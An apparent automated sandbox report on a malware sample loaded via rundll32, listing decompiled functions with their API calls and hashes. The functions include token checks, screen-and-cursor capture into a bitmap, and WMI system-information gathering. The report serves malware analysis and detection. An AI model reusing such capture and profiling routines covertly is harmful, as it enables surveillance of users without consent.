					_push( &_v24);
					_t44 = 2;
					_t21 = E0445C986(_t44); // executed
					_t48 = _t21;
					_v20 = _t48;
					if(_t48 == 0) {
						L10:
						FindCloseChangeNotification(_v16);
						if(_t48 != 0) {
							E04458DDF( &_v20, _t37);
						}
						return _t45;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0x220);
					_push(0x20);
					_push(2);
					_push( &_v32);
					_t29 =  *0x446f8d8; // 0x450fab0
					if( *((intOrPtr*)(_t29 + 0xc))() == 0) {
						goto L10;
					}
					if( *_t48 <= 0) {
						L9:
						_t31 =  *0x446f8d8; // 0x450fab0
						 *((intOrPtr*)(_t31 + 0x10))(_v12);
						_t37 = 0;
						goto L10;
					}
					_t9 = _t48 + 4; // 0x4
					_t33 = _t9;
					_v8 = _t33;
					while(1) {
						_push(_v12);
						_push( *_t33);
						_t34 =  *0x446f8d8; // 0x450fab0
						if( *((intOrPtr*)(_t34 + 0x68))() != 0) {
							break;
						}
						_t37 = _t37 + 1;
						_t33 = _v8 + 8;
						_v8 = _t33;
						if(_t37 <  *_t48) {
							continue;
						}
						goto L9;
					}
					_t45 = 1;
					goto L9;
				}
				return _t20;
			}

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0x00000000
0x0445cae4
0x0445cae8
0x00000000
0x0445cae8
0x0445cb17

APIs

Part of subcall function 0445C92F: GetCurrentThread.KERNEL32 ref: 0445C942
Part of subcall function 0445C92F: OpenThreadToken.ADVAPI32(00000000,?,?,0445CA74,00000000,04450000), ref: 0445C949
Part of subcall function 0445C92F: GetLastError.KERNEL32(?,?,0445CA74,00000000,04450000), ref: 0445C950
Part of subcall function 0445C92F: OpenProcessToken.ADVAPI32(00000000,?,?,0445CA74,00000000,04450000), ref: 0445C975

Part of subcall function 0445C986: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,04450000,00000000,00000000,?,0445CA07,00000000,00000000,?,0445CA30), ref: 0445C9A1
Part of subcall function 0445C986: GetLastError.KERNEL32(?,0445CA07,00000000,00000000,?,0445CA30,00001644,?,0445E053), ref: 0445C9A8

FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,04450000), ref: 0445CAFE

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: Token$ErrorLastOpenThread$ChangeCloseCurrentFindInformationNotificationProcess
String ID:
API String ID: 1806447117-0
Opcode ID: fbf788930c8daedbc6b66dbad7912fd628bc2527772d38ab23d696f8fe31672b
Instruction ID: 10476b5604fd2f437acf68dca658e7c7a262ac830d8ff73bd966002d5688444d
Opcode Fuzzy Hash: fbf788930c8daedbc6b66dbad7912fd628bc2527772d38ab23d696f8fe31672b
Instruction Fuzzy Hash: E7213D31A04305AFDF10DFA9E885AAEBBF8EF44700F10446AE945E7262E730AD458B90

Uniqueness

Uniqueness Score: -1.00%

Function 044563A2 Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E044563A2(void* __fp0) {
				void* __ecx;
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				intOrPtr _t17;
				intOrPtr _t20;
				void* _t25;
				void* _t27;

				_t32 = __fp0;
				E0445651E();
				GetOEMCP();
				_t13 = E0445DFC2(__fp0); // executed
				 *0x446f8d4 = _t13;
				if(_t13 != 0) {
					 *((intOrPtr*)(_t13 + 0xa0)) = 1;
					_t14 =  *0x446f8d4; // 0x450fc00
					_t2 = _t14 + 0x224; // 0x4450000
					E04463C36( *_t2);
					_t26 =  *0x446f8d4; // 0x450fc00
					_t25 = _t27;
					__eflags =  *(_t26 + 0x1898) & 0x00010000;
					if(( *(_t26 + 0x1898) & 0x00010000) == 0) {
						_t7 = _t26 + 0x224; // 0x4450000, executed
						_t26 =  *_t7;
						_t16 = E0445D889( *_t7); // executed
						__eflags = _t16;
						_t17 =  *0x446f8d4; // 0x450fc00
						if(_t16 != 0) {
							__eflags =  *((intOrPtr*)(_t17 + 0x214)) - 3;
							if( *((intOrPtr*)(_t17 + 0x214)) != 3) {
								L10:
								__eflags = 0;
								return 0;
							}
							L9:
							E04453597();
							goto L10;
						}
						 *((intOrPtr*)(_t17 + 0xa4)) = 1;
						L6:
						_t20 =  *0x446f8d4; // 0x450fc00
						__eflags =  *((intOrPtr*)(_t20 + 0x214)) - 3;
						if(__eflags == 0) {
							goto L9;
						}
						E044561E8(_t25, _t26, __eflags, _t32);
						goto L10;
					}
					 *((intOrPtr*)(_t26 + 0xa4)) = 1;
					goto L6;
				}
				return _t13 + 1;
			}

0x044563a2
0x044563a2
0x044563a7
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0x00000000
0x00000000
0x0445641d
0x00000000
0x0445641d
0x044563ed
0x00000000
0x044563ed
0x00000000

APIs

GetOEMCP.KERNEL32 ref: 044563A7

Part of subcall function 0445DFC2: GetCurrentProcessId.KERNEL32 ref: 0445DFE9
Part of subcall function 0445DFC2: GetLastError.KERNEL32 ref: 0445E0E3
Part of subcall function 0445DFC2: GetSystemMetrics.USER32(00001000), ref: 0445E0F3

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: CurrentErrorLastMetricsProcessSystem
String ID:
API String ID: 1196160345-0
Opcode ID: 335593638ee1fad6692b72f46bf02759426e93283b178b845c017f66117483b0
Instruction ID: 9a1398ce0f7e402bd31668c1fbbf91c5da9255c901732fa9c2a403fb9058452a
Opcode Fuzzy Hash: 335593638ee1fad6692b72f46bf02759426e93283b178b845c017f66117483b0
Instruction Fuzzy Hash: E9015E71204252CFEF24EF68E5096A677E0FF46314F8A01BBE84C8A123D7306851CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0445CA0A Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0445CA0A(void* __ecx) {
				signed int _v8;
				intOrPtr _t12;
				void* _t13;
				void* _t14;
				void* _t17;
				intOrPtr _t18;
				void* _t23;

				_v8 = _v8 & 0x00000000;
				_t12 =  *0x446f8d8; // 0x450fab0
				_t13 =  *((intOrPtr*)(_t12 + 0x70))(__ecx, 8,  &_v8, __ecx);
				if(_t13 != 0) {
					_t14 = E0445C9F3(); // executed
					_t23 = _t14;
					if(_t23 != 0) {
						FindCloseChangeNotification(_v8);
						_t17 = _t23;
					} else {
						if(_v8 != _t14) {
							_t18 =  *0x446f8d0; // 0x450f8c0
							 *((intOrPtr*)(_t18 + 0x30))(_v8);
						}
						_t17 = 0;
					}
					return _t17;
				} else {
					return _t13;
				}
			}

0x0445ca0e
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Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ea367ee1c26522b66f21772b1fbc5a44e4777a019d2158a5fa93d7eed820fc
Instruction ID: 6871f0ec2038a3f7df09d4dcf947273f75f07c979b0f1ee4d3b1f3d01a2a3827
Opcode Fuzzy Hash: d1ea367ee1c26522b66f21772b1fbc5a44e4777a019d2158a5fa93d7eed820fc
Instruction Fuzzy Hash: 4DF01731A10614EFDF11DBA8D985A9E77F8FF04249F005096E901E7262D774EE00DB91

Uniqueness

Uniqueness Score: -1.00%

Function 04456438 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04456438() {
				intOrPtr _t3;

				_t3 =  *0x446f8d0; // 0x450f8c0
				 *((intOrPtr*)(_t3 + 0x2c))( *0x446f8f4, 0xffffffff);
				ExitProcess(0);
			}

0x04456438
0x04456445
0x0445644f

APIs

ExitProcess.KERNEL32(00000000), ref: 0445644F

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0bd37af94f0524c2f2552795de952f0f797be652a5bdac1de44b8146d4bf4a96
Instruction ID: 4490a212c08cb134eb81fa179888e197d5400fffab56738ff2745ddee23e8d23
Opcode Fuzzy Hash: 0bd37af94f0524c2f2552795de952f0f797be652a5bdac1de44b8146d4bf4a96
Instruction Fuzzy Hash: 59C01270304440DFE740AB64E908F1437E0FF08322F1982E2F16D8A1E8CB2488088B02

Uniqueness

Uniqueness Score: -1.00%

Function 04458DC9 Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04458DC9(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x446f9b8, 8, _a4); // executed
				return _t2;
			}

0x04458dd7
0x04458dde

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,04459793,00000100,?,0445661B), ref: 04458DD7

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 17269b41a5182ee65f5036227fd3f0a4f5b109b46328507c33ad42c69ea4a416
Instruction ID: 96e7126b5b20090125ffab693b099e35a7a26c2f1ac43ada7e40290e609664fd
Opcode Fuzzy Hash: 17269b41a5182ee65f5036227fd3f0a4f5b109b46328507c33ad42c69ea4a416
Instruction Fuzzy Hash: B8B0923A084208FBEF411E81FC05A853F69EB08655F004010F648090618BB768699B82

Uniqueness

Uniqueness Score: -1.00%

Function 0445DADC Relevance: 1.5, APIs: 1, Instructions: 7
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0445DADC(void* __ecx) {
				signed int _t4;

				_t4 = ResumeThread( *(__ecx + 4));
				asm("sbb eax, eax");
				return  ~_t4 & 0x00000001;
			}

0x0445dae4
0x0445daec
0x0445daf1

APIs

ResumeThread.KERNELBASE(?,0445D947,?,?,00000001), ref: 0445DAE4

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3acca63354585d44aae84608fbd4e15867b04b41cfab8f44c81d7d129da6c9f5
Instruction ID: b41cbc810c511c6758d356603aab191fe6fa44ab0431dc3d45364e1680b88084
Opcode Fuzzy Hash: 3acca63354585d44aae84608fbd4e15867b04b41cfab8f44c81d7d129da6c9f5
Instruction Fuzzy Hash: E7B092322A04019BCB005B74E80A9A03BE0FB56606B98C2E4E049C6061C32EC8498B40

Uniqueness

Uniqueness Score: -1.00%

Function 04458DB4 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

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C-Code - Quality: 100%

			E04458DB4() {
				void* _t1;

				_t1 = HeapCreate(0, 0x96000, 0); // executed
				 *0x446f9b8 = _t1;
				return _t1;
			}

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APIs

HeapCreate.KERNELBASE(00000000,00096000,00000000,04456616), ref: 04458DBD

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 2034f623c668743850a3c556b9a3770bb95f6d29befaea3d3f06050e5ab44dce
Instruction ID: f8177a5c2b2a7b5b0896a6a9973297a2dce4caaf4620958f1c757ec5d1c90cc0
Opcode Fuzzy Hash: 2034f623c668743850a3c556b9a3770bb95f6d29befaea3d3f06050e5ab44dce
Instruction Fuzzy Hash: A9B012B0699300E6FF500F206C46B013510D344B06F200005F709581C0C7F414049516

Uniqueness

Uniqueness Score: -1.00%

Function 0445DAF2 Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

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C-Code - Quality: 91%

			E0445DAF2(void* __ecx, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _t26;
				signed int _t28;
				signed int* _t36;
				signed int* _t39;

				_push(__ecx);
				_push(__ecx);
				_t36 = _a8;
				_t28 = _t36[1];
				if(_t28 != 0) {
					_t39 = _t36[2];
					do {
						_a8 = _a8 & 0x00000000;
						if(_t39[2] > 0) {
							_t31 = _t39[3];
							_t22 = _a4 + 0x24;
							_v12 = _a4 + 0x24;
							_v8 = _t39[3];
							while(E0445A236(_t22,  *_t31) != 0) {
								_t26 = _a8 + 1;
								_t31 = _v8 + 4;
								_a8 = _t26;
								_t22 = _v12;
								_v8 = _v8 + 4;
								if(_t26 < _t39[2]) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t36 =  *_t36 |  *_t39;
						}
						L8:
						_t39 =  &(_t39[4]);
						_t28 = _t28 - 1;
					} while (_t28 != 0);
				}
				Sleep(0xa);
				return 1;
			}

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APIs

Sleep.KERNELBASE(0000000A), ref: 0445DB5B

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5d4baf7ffef0f2d23b8abbc5e4d7336a83f51678581ecb8087fa9c0873d18652
Instruction ID: aae3917fa481d5ff35587fd5ba916a08ad4dd1c500f73564cb73e9268a6d2fd8
Opcode Fuzzy Hash: 5d4baf7ffef0f2d23b8abbc5e4d7336a83f51678581ecb8087fa9c0873d18652
Instruction Fuzzy Hash: 20113971A00205AFEF10CF99C484A9AB7F9EF45324F10C46AE95A9B311D370F941CB40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04455D1E Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 223
windowCOMMON

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C-Code - Quality: 98%

			E04455D1E(int* __ecx) {
				signed int _v8;
				char _v12;
				int _v16;
				struct HWND__* _v20;
				struct HWND__* _v24;
				struct HDC__* _v28;
				void* _v32;
				int* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				short _v82;
				short _v84;
				signed int _v88;
				signed int _v92;
				struct tagBITMAPINFO _v96;
				intOrPtr _v102;
				int _v110;
				char _v112;
				void* _v116;
				void* _v120;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				int _v156;
				signed int _v160;
				void _v164;
				int _t82;
				void* _t84;
				signed int _t92;
				void* _t99;
				char _t103;
				intOrPtr _t113;
				int* _t114;
				struct HDC__* _t120;
				signed int _t124;
				short _t137;
				struct HDC__* _t141;
				void* _t144;
				void* _t148;

				_v36 = __ecx;
				_v24 = 0;
				_t120 = 0;
				_v12 = 0;
				_t144 = 0;
				_v20 = 0;
				_t141 = GetDC(0);
				_v28 = _t141;
				if(_t141 != 0) {
					_t120 = CreateCompatibleDC(_t141);
					if(_t120 != 0) {
						_v8 = GetDeviceCaps(_t141, 8);
						_t82 = GetDeviceCaps(_t141, 0xa);
						_v16 = _t82;
						_t144 = CreateCompatibleBitmap(_t141, _v8, _t82);
						if(_t144 != 0) {
							_t84 = SelectObject(_t120, _t144);
							_v32 = _t84;
							if(_t84 != 0) {
								_t144 = SelectObject(_t120, _v32);
								if(_t144 != 0) {
									GetObjectW(_t144, 0x18,  &_v164);
									_t92 = _v160;
									_t124 = _v156;
									_v92 = _t92;
									_v84 = 1;
									_t137 = 0x20;
									_v82 = _t137;
									_v96.bmiHeader = 0x28;
									_v80 = 0;
									_v76 = 0;
									_v72 = 0;
									_v68 = 0;
									_v64 = 0;
									_v60 = 0;
									asm("cdq");
									_v88 = _t124;
									_v8 = ((_t92 << 5) + 0x1f >> 5) * _t124 << 2;
									_t99 = E04458DC9(((_t92 << 5) + 0x1f >> 5) * _t124 << 2);
									_v20 = _t99;
									if(_t99 != 0) {
										GetDIBits(_t120, _t144, 0, _v156, _t99,  &_v96, 0);
										_v16 = _v8 + 0x36;
										_t103 = E04458DC9(_v8 + 0x36);
										_v12 = _t103;
										if(_t103 != 0) {
											_v110 = _v16;
											_v112 = 0x4d42;
											_v102 = 0x36;
											E04458EA6(_t103,  &_v112, 0xe);
											E04458EA6(_v12 + 0xe,  &_v96, 0x28);
											E04458EA6(_v12 + 0x36, _v20, _v8);
											_t148 = _t148 + 0x24;
											_v8 = _v8 & 0x00000000;
											_t113 = E0445FBFB(_v12, _v16,  &_v8);
											_v24 = _t113;
											if(_t113 != 0) {
												_t114 = _v36;
												if(_t114 != 0) {
													 *_t114 = _v8;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				E04458DDF( &_v20, 0);
				E04458DDF( &_v12, 0);
				if(_t120 != 0) {
					DeleteDC(_t120);
				}
				if(_t141 != 0) {
					DeleteDC(_t141);
				}
				if(_t144 != 0) {
					DeleteObject(_t144);
				}
				return _v24;
			}

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0x04455f93

APIs

GetDC.USER32(00000000), ref: 04455D3D
CreateCompatibleDC.GDI32(00000000), ref: 04455D51
GetDeviceCaps.GDI32(00000000,00000008), ref: 04455D6A
GetDeviceCaps.GDI32(00000000,0000000A), ref: 04455D72
CreateCompatibleBitmap.GDI32(00000000,?,00000000), ref: 04455D7C
SelectObject.GDI32(00000000,00000000), ref: 04455D8E
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 04455DB2
GetCursorInfo.USER32(?), ref: 04455DC3
CopyIcon.USER32 ref: 04455DD8
GetIconInfo.USER32(00000000,?), ref: 04455DE6
GetObjectW.GDI32(?,00000018,?), ref: 04455E04
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 04455E1C
SelectObject.GDI32(00000000,?), ref: 04455E29
GetObjectW.GDI32(00000000,00000018,?), ref: 04455E43
GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000028,00000000), ref: 04455EBF
DeleteDC.GDI32(00000000), ref: 04455F70
DeleteDC.GDI32(00000000), ref: 04455F7B
DeleteObject.GDI32(00000000), ref: 04455F86

Strings

6, xrefs: 04455EF2
(, xrefs: 04455E6E

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: Object$DeleteIcon$CapsCompatibleCreateDeviceInfoSelect$BitmapBitsCopyCursorDraw
String ID: ($6
API String ID: 192358524-4149066357
Opcode ID: 782150a44cc4572bcf671fe433972f3c637e0d769979c139dd28502fc384ad7d
Instruction ID: 782e0f9d10b968459da91b888c70d561cf23bb0c0059c208ee807c2a9ade7053
Opcode Fuzzy Hash: 782150a44cc4572bcf671fe433972f3c637e0d769979c139dd28502fc384ad7d
Instruction Fuzzy Hash: 588109B1D00219BBEF14DFE5DC49BAEBBB8EF48304F10406AE904E7251EB749A058B61

Uniqueness

Uniqueness Score: -1.00%

Function 0445EACA Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

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C-Code - Quality: 50%

			E0445EACA(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E0445E485(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E04458DC9(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E04458DDF( &_v60, 0xfffffffe);
					E0445E539( &_v104);
					return _t320;
				}
				_t165 = E04459F85(_t255, 0xcdd);
				 *_t328 = 0x6b4;
				_v52 = _t165;
				_t166 = E04459F85(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E04459C50(_t165);
				_v60 = _t322;
				E04458D9A( &_v52);
				E04458D9A( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E04459F85(_t255, 0xc93);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E04458D9A( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E04458DDF( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E04459AB3(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E04459AB3(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E04458E5D(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E04458DC9( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E04458DDF(_t136, 0);
								E04458DDF( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E04459AB3(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E04459F85(_t281, 0xcc1);
								 *_t329 = 0xabe;
								_t217 = E04459F85(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E04458DC9(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E04458D9A( &_v92);
											E04458D9A( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E04459FE4();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E04458DC9(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E04459F85(_t283, 0x2a);
										E04459FE4( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E04458D9A( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E04459AB3(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E0445E9AE( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E04458DDF( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

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APIs

Part of subcall function 0445E485: CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E498
Part of subcall function 0445E485: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E4A9
Part of subcall function 0445E485: CoCreateInstance.OLE32(0446C8A0,00000000,00000001,0446C8B0,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E4C0
Part of subcall function 0445E485: SysAllocString.OLEAUT32(00000000), ref: 0445E4CB
Part of subcall function 0445E485: CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E4F6

Part of subcall function 04458DC9: RtlAllocateHeap.NTDLL(00000008,?,?,04459793,00000100,?,0445661B), ref: 04458DD7

SysAllocString.OLEAUT32(00000000), ref: 0445EB73
SysAllocString.OLEAUT32(00000000), ref: 0445EB87
SysFreeString.OLEAUT32(?), ref: 0445EF0D
SysFreeString.OLEAUT32(?), ref: 0445EF16

Part of subcall function 04458DDF: HeapFree.KERNEL32(00000000,00000000), ref: 04458E25

Strings

FALSE, xrefs: 0445ED3C
TRUE, xrefs: 0445ED35

Memory Dump Source

